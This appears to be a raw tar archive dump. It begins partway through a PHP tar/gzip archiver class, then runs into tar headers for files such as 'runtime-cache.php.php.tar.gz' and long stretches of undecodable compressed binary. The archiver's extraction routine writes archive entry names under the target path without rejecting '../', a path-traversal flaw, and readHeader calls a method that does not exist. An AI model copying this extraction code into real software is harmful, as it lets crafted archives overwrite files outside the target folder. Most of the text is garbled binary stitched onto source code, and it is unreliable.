			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                   runtime-cache.php.php.tar.gz                                                                        0000644                 00000001121 15243264725 0012000 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_KI[OU߬j%lc.bioq"UE 9gUz~gm]5K`RBRvń۴{$gN/5l(~?3p(?hof0IcΚjH
ؘ\+HtC<CWb&2b臁XW8޾q,]7%-E݇ T|_ŎK	B9א:v9F3Ӽ>8\@]䡭CeJV%^y7Q@GI44MGӱ̮M \:;q`	YHa0ɥAtQW`$Rf^hyϕ*ZRC߁>	`W U2ICWl=X	bwV͈PQeհȼE'0
dfz$7Toq͚dPz*Ilwl]M<TI+Pju7=b;ތ;$Ԥ[./o4g;w	$ 
                                                                                                                                                                                                                                                                                                                                                                                                                                                 364262.tar.gz                                                                                       0000644                 00000504106 15243264725 0006461 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             @W8VpV @A#"$(Q{kպ,)Zw[[{TYW<s=s=s=Nuk?;Igԡ2htJ	@b#x_ME?~נku;׶N:VL)7jbfP tuFo.DV\&FX!M&D5d^fM* khLDP i-_&__Ѩ7:e%8ڿZ.DM^2C0Y !&Biq"a~#"hr@=Am$djN&r؅ nQ7' FF&YI{+OE$DF&!`D2P%biŐ\W0Y6֗*9Y&6Ld0pOEbP$HK@."J} l!hl
rIl D7:PɃ)nxSȤTQ`@b:\U۳+ DKA0sL!0,' vW/DJW
4լ7e2J<!M@%@HvnAlVU(Ka~:YRoQSO] Ah VRFXPDlG;IAhgX53{BzbI^!R)N"5<;m!(jLnO(tdBv«=5*4zx8_#";</\Mj߱9sBRI}+cc1/MvҮ؈Y	UNslϨ.S9 cc.g5g)ov,+vdTLtl>|cGZ> c&3[^1bc'g31ԷХׇ.X*L}2V𾑭sLUlvLIVl>tcr	511ɱϱcc6@e9riŚM+6;WrlzVUlV,q_
@vlqpul\bk.Zb<E.N]x@+: {s =V,PfX+;VZlCSA@+hb 1 w}茊 5s2i@~iׇ.,RdcEz*VVT|Sbst#H[+]1e.ШAbo~0"1Pdcq:TlD 4$6]_w$|f%4Y.bŮ C7eeA9} TiclÊ @AcbcCŷ1Ѡ	2Isǂ3*@+8V9 owlֿ;L"䊭DyN\Ǵ4{t}r@2(rZsYԊHUN9(%P"Tou7!@Usr4s̫\¨!lWlJL5~@1tܢǜ/*q{WhŠUW| v4Tp
c*Wlƨvߠ/Znc *v"h6G|yM8rxZDHu6 UM8	2h\@KC[gWl!gtrLp 9ؚv+5kqL,Z׳Aht6|xfZ;V(^79ܿct;BD@ХF|@u֎RŎEiGF;&uSXcVߊNa{k+[+6
+ֱA-aEեb}EPS5=6xsHNc4S22;2WG[2ɱPlY"6;+_FX2*y>9W.jbbs±߭naQ~Fk}[nXWV$1-aŔ`--XXѤ)?gc,Ow|ȮI@^uLDD8iH4_+ 5(	ٚva`hYAVy1bix=4?se5iE!L/3 4o^ŶtׇSW,=br@Xs̐bGctvLiRP~=ǜڊMaց1/D$=X <x@ʥykM@ Ct@5_0YZ U^$r<`QB(޶(o 15'b6TYBQ4l+t8ѥ:CP_nq쬜RTXX) cbg#S~
cNvE8@M=KC[ԕb+8V imG:&9ƵsekH#,}73 +|^tbsT~EJ\ wv9'X R*Xqk	DuXjȎaK&1t?#Ml91Pe[gTlR9bk݁ˇA)rzcnc0̂Tؐ:gX; ٦Y30C
w{#K[8ƱsANxCM`̤C\ª[>5*"b`0GLtIw }Y	63cLcJi3 u|Rri
L}`3 3z96 @]T1bSz i`рV Fei*u+
8,bI2$4#jc_Ų:eg9T86;VTLv,Q+v5HKK&=q;v, zVwL;tccc~БKŹ b1ˈ~dH"Lgp̑g&h/+涵#lQs(6'$yĲJP
Q 3b#X)u& 6m6'4B$CZԨ	A^]/~;̬&Ql4ADB4Z29OaY\̼$B>;3%':i2{ޫrl2#FVX
VP ZF$0kb˂b~]r2A%6jv	$I 	дPʃ@`Ca0J@H@>E!5:H;H0"1 :$7rZdrآ1BZ@¬HY.ESW~UhGjXD4~f3`&A)J^AZqP6F;Z
am![3gn^J1VФ.CX>଑ sF@nҀT'(V%ujϺ:1	Rp9:*n BJN,NYKe(jһS-T /` jRF7dH|4bɪ74wb̅Jt`^x`Rz)6+$50[k!$P"U^ip/b">##·PVE,W(3" =YtjV5paCLN`s^?LF@T/VQ;
Z J
'!Pl12TFu\8@Yl7lȘ"L&  1ꭀ&3=z=|b@+dǳy47)Ći8ujD}
A -hh~}Ϻ94'N!<y/t Nx0!1<z $ b	8!D k@F@4x!>W^yIlL+,:)"
riR5(D ?#9aFbܿXWȪ/odw ,`@6KR8 s)ٔ
:XVk1-	f_	Bh`4_ @RL*ֹCEtAk00Hmr+;
ks㋪ػ6<;FP֕KrgkiԺbLG0ȍZ'jl*D'ATF4R~ȳ[pA5]Aq=[<B	&8QYzi܌E		ɮ5j)ЉtŞ 55d 2= JFlZPq`/&r)<Jj0פ<jFsy Q,5y'ҚR]@@9 fp̜+:Ϭ,+BrfXuPLbb<P!
}DBtVKaytL:F$Lz`EhkzZi'՚ڴ&YM׾5'54QsM3	[rs1h`6cB4(PGljФg#ص%)pQ>>Pb.f#&E:/z8R>H	@_4@%LtXi+ޙ#?0x[@Oc (x@`G (kR!fST4JNH/e@<z؈F רt|\@~x{jh\:M@D; tGU0/m'SA]0KJ?:ģ~;	jAoRê{f3|F%c@qjsl)  &~D%۴ \W@VrBaUAuU@S!B
Q4BAJ)4*(U@@]֙(@o z9N]MPH5z'Kળ"TdDQpWo&$-:7Yfb?8Q=
}aX@z*`-14 $4U+6 LTяLc
C.e $K*Zao@ӖrLD==a;drB#ILTI@>7Z*jЫT! ^xMSEZE	sTVB ?(LG+*0td7G$Q
&QNBr%tjߠzuE0 U)Od0jyy0+;#=dGP@t!x,2zF f3YWP7Æ}!>Ł:7> VBg$K{O
~{$g@j/ 謊 |"m*4ND&DsrvRZ7<Jv Q*Qi20ә,B 2ٝs(\0(鴋͸PAn]re!R-=?n@:=16Wipc_ƾ:٤7p7_JjP!1$WYmHg[8(Hv@RbKKpAL0TF"&0bZ6"PC a ZG ȉ<O7YK"0L
B~
Q!&6S4D+XQXCP]!FngAq@ԈaA$2 @I"x !{hdD,ѻOB>Q8gn6Ib6isHTK"s` A+7 ڙblL@@,7!V
ʍ΅A4̆ID@CaR`[~a`i ϋnrJ3=H\	@6' :lR6'!}ɽ䵂b-Z[L&+ZO٥VೋbGz"7rxUSGE"U2aDF b!H<1tڬ K
vte,K3mq` BF.}V/݅fjY9bgyiFށs.XvPDJwBNqnHsnHI-*K,r0W0[[Ĉ.\3Jsl4?weڲ4aL"CڠFP4v"xcEb< #CƑZV~:*@o)'qlј?zkX*h1nEJB!*{bjR]=yboyǰTp7jHjΪYB3ܽPх:55B3תhhB2I5L(k`DV фT}gH~m](-$!@9_>a
Qd7g˽.Āʏm٢-R,F4j\
D/rjm!8Ajh:;/ $$3	PDʡY` L.*9ɀb:"CI$ع,Aa ;[i>)lUf>g]YFN-7"/$n+-8個@n/ plvV7AIUQ)H@Ϲ0<Xݳtp
	(W)⶷'A@KJ1фr7AAn-
zq(B*f"E1h4t+[QfJgs1~$B7) jʹYE ?ؘlLRo sR+A]yPYar:@ǜÀ-A7{rAKv$T)F ,W;b}MBX#7±N5jiqL `aD;`U"P0dB0YXg^jbTIsI]׶ b\, @| O
(Y\@:[Q	Kb-xQ#xt{H	hD7tb *Q:p͜`wl\j1;7	-6
aQK4\9o$B >C
Xb,ē;/ǛgK& !KМ)g%p3f.選 mti[xL;E.φd<.uzYS,)@JzJfvŠmq.~{&o=[岃CβHa p yw{45(#}0
VY^Cg!C"j'sU<
VJv0{{T(3X!023iՙ{h+ŠB0T{$`)F6Lw4Lʍ2 aAB\S*7Xg

XRVrc7@(m<[b<*	]Z(aFcj=⪧D Wy'T+&( ]| thkC¸Գ7+[V8ʌg(|K	,V*õFdJ~ HVУ"2dcPheF7i˦%tAjך4rd\:Q"4HLZ$-)8@f)A$(XB2Iˢl $K'&<ܪ7Qh^QYR,"DXvYv+yHTӄJ(ܒGb[ӴI^T6YH3Ǔ"IЊ<C!"J+֦9,jQ%OSQj#fTHLVD4)=='BǥS(P"
&.Wpɤ:'ESi"å\33*)3ۚF"ip*ДZ3jLËS(ϨX4KsԲL-=9@Ո	JmD&iEiLخM$KdJk6R2AQIQJ23D4#rRx6KҔ\azDzY]Vh8424LeژH$ǐDgzSJj:j|jY`2v=*I*frs"Ȋ")2f։,eLfC ަpc<1G
IfѭaQDDR$!Gp,Veb!YL%eIV!fI%G%)
ԩ6Jv1C@#LaE20O-X,h8l9/G
Ud̈́͞hv0SMeXj63;*,!HhHmjvڜnJF&gV.O-d*S
n8bE
2UʼbK^$זYkO&rue-./L 4Ks<)DHNgTb_C)3.!%gI,L[bZ]вYqEjMUODty1#BNFQLtC.(`X֜8ؠ2Yeٖx5*f2'ҮH#K%y"*gVVQK'Hm)yKg3Rgj
{ܧnZ)*Xkat{|afA
  ~2dsPܸͬδ~q7!gV4c?FD0h
@	w&\f4UAF,#~5 OAk}R`ԛ`r4><&d',wp"5NNT:
"he	Ta?4Ҫ~N(3>qiRIuq}jKB݃[.Yd'01G[ቫs
{D!U_ܕ`hds.,d;4 #V뾻Myc_[thAbl;]jXn Hy9	
ѕY\ְHˑ5CL 5K1ȑcP@w|q -ޱz 7DY1΍Dj
=Tе,#=ZC41؃Χ@ YE  !B
4-B9AAnWgZ>{h
sOBN#8ePBh11DP
?C7lct"e&zZAFZA6^`i0iaBQC%u+F@cxsC J|j?XqvQ
-xVNUx
@4X#L8j cPsW$wZtܜb:7uN9SO N8p xvr'|j	Am'4Mq%nPGj,GBAx yʳg a(HE#N#^c5EBpKye'A3Y1x,u/wya ?skldFIM-&@" L @CS /NVUbIq7bQ٬AoXa(v4ʵRZw/J 9&!_XL1*3,Y*$TBzTjL>Az ejlrŨZP96WVoLh#",cj	YrD/&=gK1X6:Th[!LI*oWn%8"~ʘ8fNBPłG/Ԓj_LVcACUd/"(Lms8uurf`{lpVa0 vwal'ѳ4{B@X z!,Jk<	@@rUs=	/jjFw7$.ם>pHjF0oeҞEƽ^!ŽV /(Ճp'[ ԡ=ԀK$>=]nY|!(Bu2B"6LhC+.,*h^aG_qr11XUp|psyw`yзBGaA0T?

~1Q'^#`<]kNU46Їy'XfWh-izvIt	~`.^0؄*s>pїwW&̲:s"x;Wl,?N9W@*Aub`D~fn~I](}Ux'%^ѧR'{x$L6P5l+'#B4Z _㦀hbR!$*U< ԯOAX0  (grRx*!N+~pu<e>p{_AEs>{aT=qQ"$Q<qg^tZt㛰 =dDw'_w3gE/8!W ?RK6)TW=R.0x(XXQ̪Edz)rIR.w2Df0]6|hb]a3h/ѝ)^ڥzDW$jMJV0[YO׌(70gꊉZcc	vZurcl?ppq. =%?q~-笥4֏n8-nadFJ"X>DXl&0);<bGzdU%`@?2I!bRxI!z~d倏^VB!"&.[
wamsQV 5-LÓrt:nJ%Zg2ڰ->rbFBmQ&:Z*[NZt[^d;
Q@ۉW!:5	AEi,&[UWg[]&Is;B 6|	v1aRyt$jEPJ$,CtoYOf6M`(Jn"0sBƔ+*x%  wF,#H9MN2hp_F9혈, x zM=*P(шuFi6)&PZAh@o<}6V6]V7:pB?)fvG! [TBeYIl ,N:f#е(?R:1#--#'-#%dpage;'1Pjf?=J g'0c-g\\ۏnHYM.%aVod)b QP o_FvV:.#3<'|TQ(k4pº e*=D/}*6;%J#FIspSOrC^!k@$CL/EuZX!bvJ^"@ :A][w bjY#W S&@cykņ6 87 AIuj}BUkj=ci`S?]uRTJ&K%ǞBF©ĈO<rMK]e"P
`YV41EO:X
Um_-Mx966G?JЍ	d,]"'(	
I*DJ$"@c >xo1cVDF<*UuܗݻgU5ͦ#ݳҫJMLÍF%S}HãEh)BIHp"#yQo@2̈ 0z)F9TRkdH^j|ky (xŨ]l2dP	T{uts&1*VB/<2-fgpN$O>N?OjS5X<l?|qW0Q*xA@$dR2IQ	Yʬln'9.l+HruD!N,\pS⬼Nfqf^	baggjQOOM	}*(S3k)GQ$	lY&&VVfUY.J/S.ϴdrة),.'X<`5rLR%+NMOg%RVz=l%d4RV^<%TiV6QT@L/R褄<ZZ+ef%t
DH)HVfD|@2PoHd%*86`qfVB\&6bg;_6XHPc熳8Y"P62Y;CZ:2\+0-Y~^$>jrTT[&-/3E-fY:(IeLv<?TyQ)2%h#3lOQYx$d9O*Kҳ"qfr	GsL!O9̴l>C'VRr8QD4yn1JS$yRCBY5dL5rÙdNyq"TFfKURJ&IdbOcg2rTv4 S٩Yl484$zY6˔'r-4JgѲ̜d+TbR#%T2ANF$&-W"*fI3Y4 TFNdǥȂ2V,.NVO)z~|J >Sb%'(SL:L*Y2nz_pUPD&ȸ4{\|&?R
jVZQ)ڼp4r'|NVڲlNDIjKؑR{R)[jpzvB0"Vғ$4Si9L1S˳rEf	Mɣ除LjPŕؒfƛJS[dd,Ѧ*
K	p5IɬY\V -py|F\V*=T&gR2}
ZJLO
JJQ'I386UILA-.R汹,uv=%R*,9%edqHŦ/*fĢ$=L-	^q)SԘRu9),XMM,NȦ02EmBJP!6za&?Qb@YZ'׳TmR"r*WUy2XT2˥J|:7ţȬVJ`WR㴒$4OdГRIy<%$Q3ܲd6C.J`hJBeYm`&STMXdח
S%Di2iBɐFEt*$S)1Kj$&7dDKrI6$3D)7JJ0$&)MBrQiz2.2ѕ&N[.*c2k-yd>-R]F+)et,4#[TLglERSLzD*]%(MsIyAZM$K\FmJ5K(
c@l.RɈQxY('벣4Xj<jTG#%z-Hy:#bF$B!K:Ffs09!QdZ̦2im2,0	R.+3B$e-26S%L*%r3ҋi$T\Q&C@զ"	t^&NRTmF-KiIr	Q0D\Y)&_l,f͢9baPh(bNLP%B7Dj2)FYF&&-D"2rYK)ruy*̱XIR7ʢqJrBBPb娨$i$ߞ`0Ge"1dye-WdVRA:aBir4WXRRR$R9?Ur62Cbka"
iZy[FIq2Iq|MgI
c2I!ŉ"su{TQ#1([BzILiv)^fӋ9Br:O)LnNCJSd9L7):e|vȚN˱EL+3JD
&32¸TҒgJ3Ƭd:QQ,e0PXr(,MJSsUBy/aU'*AR.7Wet "bf]z6aSSYzRQ関3"ҩB,1e٬4ueJdf"#9@WǓ V89Zhi*) b	85*)(8='#^O8j2kN\i,VrK"Sb CPi2Dh08I;OPU,eUQMD2ZaӨ$i$[NDΔk2)ȌL#K(J3D&T>٤i41,O!uRn^f7[2Rlf8YT!O&Sd9(ca*2Sj-;15\WbeZ8%T-]((5rHʋF02ήO3g&#fa%'Q!/RITJ)Jt|)1OjT	$Pӓ4IR$dQJĥlK'2h#0$	q$MІsiJ,*ǜAFJ
n*6KS3EbEJɣfyl&iNssIIH9GJr"dAdJ,d	\jD(RSH<:/""Ģ׀\15ClYyY,2%cQ#uT>='gE#(D"2;UREp5OG()tT 0ez[1LEђs4!^[*mYDVE&)L~IRxFV)7۞G	i
{Y]QH=)A7"4^IHv@E)%$*M(奆xv)[ TjK4z,C$xSKFTȍ4&G-r.3RFe02՜#e
nH"*@ީQe&K$-W,16E;)$BDғJr%3*Y'KTy<,E֨<,I	yHI<zZT®dFفX'G&%іW(-FD)2("^kdI]CY6m))"H\eY0",-5[sR^b$>ԓiEB(*"mZA1f1Iei2\%2d#$BI M,ckL4eMJWiIbvf@@3egQt/3L9KTyɥ=&LVb8SH1N:K(WUlRR(.Ґb;LK	rxr
f$-#&,StxNH%H䒢&)#k'	s#l1ǐ@u
;kUc"lV^⤦'HRE"&JRę$\jRl%	,&]n1vuB1;ʚEFJ3'5L@-g4\,V+5hãDWDʍ:F@SUVr4VbZ	ɚ%%rJ^-.$Z(Ԥ"y^rqM"g$ZB
VMmN5fm:/R_,r&%)A(Gqit]	7AlƕTơ:W$Ib\gό#Mz)1''9J0j2%%iz]]d%$DYH$GJ!hI!9ͶdMPxLLbe4P<dQeLٜCbeR'$yvM`҄V:$
,`5Dk-_[ȿm!Bk-_[ȿm!=[@ea8f1fdq$isetGKULuJB&c^rxDu^^_cO'ضDUHb1EKklQ	yj)<BHNB.$`UDRp(,2CT`aFi2®0 +%%L
Sr&9B+d<=ᤛTkҧ+)J<!5(MƳlhFԒtd,J%:lUF8f{qbFFXDYDT))hVĬI.ͤCVMM1\YSrR̨f6CWU9<jPK,H}-gkEqf9KP"KHN[٩QY.4EݬҒpz=<*\MJfg)Iq%
cE#΢''dJ$NcS(tRj&d>]Sr$-psmIF4>YR
VZuJ.ZWs2˴
NxT-"zTCePɹ%ԼRUet6C&+&g4(QMI.ѫT*Eh4$V2OpL"^[ȼxݦ.JaٓXv9Grz>"Mc&ke	\SJKL*^ZM;x,	)a WC
IALPђMd-E2,nhQvV'*#@",jj+*5M4V\k"T=ĐQl5#HFJz="Ta)2h9,]Y@
8.SbQq21UB&deőEVQD,mQdϱFIpe2eVZÌsDidD͋RLNJ0\EI,NS"TT	L&E#rf]֊ddKf)ŵ㢢4*H$dUi"ǉgɤSf@4,19RlRgZ,ʲX\Kj '[VN&cL)'18"Q̔rf,R,c٣{EN224Df2CU$qdf&U$L+Me`˵rᖥ)$Ai2U,9JUDRS
sZUg &%K(29*vbèRJ(fU)IHe$Ҹ\F(,-JG Qm$ԜD@;c{W`q3r9|&hvQf\()J-ʊKH3R`Q
